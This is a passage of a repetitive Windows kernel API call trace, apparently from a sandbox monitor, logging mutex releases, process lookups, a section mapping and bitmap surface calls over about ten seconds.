ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.445] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.562] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.562] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.589] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.084] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0162.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.084] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0162.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.095] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0162.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.096] EngAllocMem () returned 0xfffff901409e3ca0 [0162.096] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.096] MmMapViewOfSection (in: SectionObject=0xffffc00001cb1950, Process=0xffffe00001078440, BaseAddress=0xfffff901409e3fc8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff901409e3fe0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff901409e3fc8*=0xcb29a40000, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff901409e3fe0) returned 0x0 [0162.096] EngCreateBitmap () returned 0x69050587 [0162.096] EngAssociateSurface () returned 0x1 [0162.096] EngLockSurface () returned 0xfffff901424e73c8 [0162.096] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001473df0 [0162.096] KeInitializeEvent (in: Event=0xffffe00001473e08, Type=0x1, State=0 | out: Event=0xffffe00001473e08) [0162.096] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.107] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.107] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.108] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.108] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.108] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.108] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.108] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.193] IoGetCurrentProcess () returned 0xffffe00001078440 [0162.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0163.987] IoGetCurrentProcess () returned 0xffffe00001078440 [0163.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0163.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0163.987] IoGetCurrentProcess () returned 0xffffe00001078440 [0163.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0163.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0165.957] IoGetCurrentProcess () returned 0xffffe00001078440 [0165.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0165.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0165.957] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0165.958] IoGetCurrentProcess () returned 0xffffe00001078440 [0165.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0165.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.021] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.021] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.022] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.022] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.145] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.146] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.147] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.147] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.147] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.197] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.197] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.198] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.209] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.209] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.209] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.210] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.268] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.268] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.332] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.333] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.406] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.407] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.407] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.407] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.407] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.457] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.458] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.643] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.643] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.707] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.770] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.832] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.894] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.894] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.956] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.957] IoGetCurrentProcess () returned 0xffffe00001078440 [0166.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.378] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0167.440] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.565] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.565] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.670] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.671] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.690] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.815] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.815] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0167.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.065] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.065] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.190] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.190] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.252] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.315] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.315] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.379] IoGetCurrentProcess () returned 0xffffe00001078440 [0168.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0169.800] IoGetCurrentProcess () returned 0xffffe00001078440 [0169.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0169.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0169.800] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0169.862] IoGetCurrentProcess () returned 0xffffe00001078440 [0169.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0169.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0169.862] IoGetCurrentProcess () returned 0xffffe00001078440 [0169.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0169.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0169.924] IoGetCurrentProcess () returned 0xffffe00001078440 [0169.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0169.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0169.924] IoGetCurrentProcess () returned 0xffffe00001078440 [0169.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0169.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0169.987] IoGetCurrentProcess () returned 0xffffe00001078440 [0169.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0169.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0169.987] IoGetCurrentProcess () returned 0xffffe00001078440 [0169.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0169.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0170.049] IoGetCurrentProcess () returned 0xffffe00001078440 [0170.049] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0170.049] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0170.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0170.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0170.050] 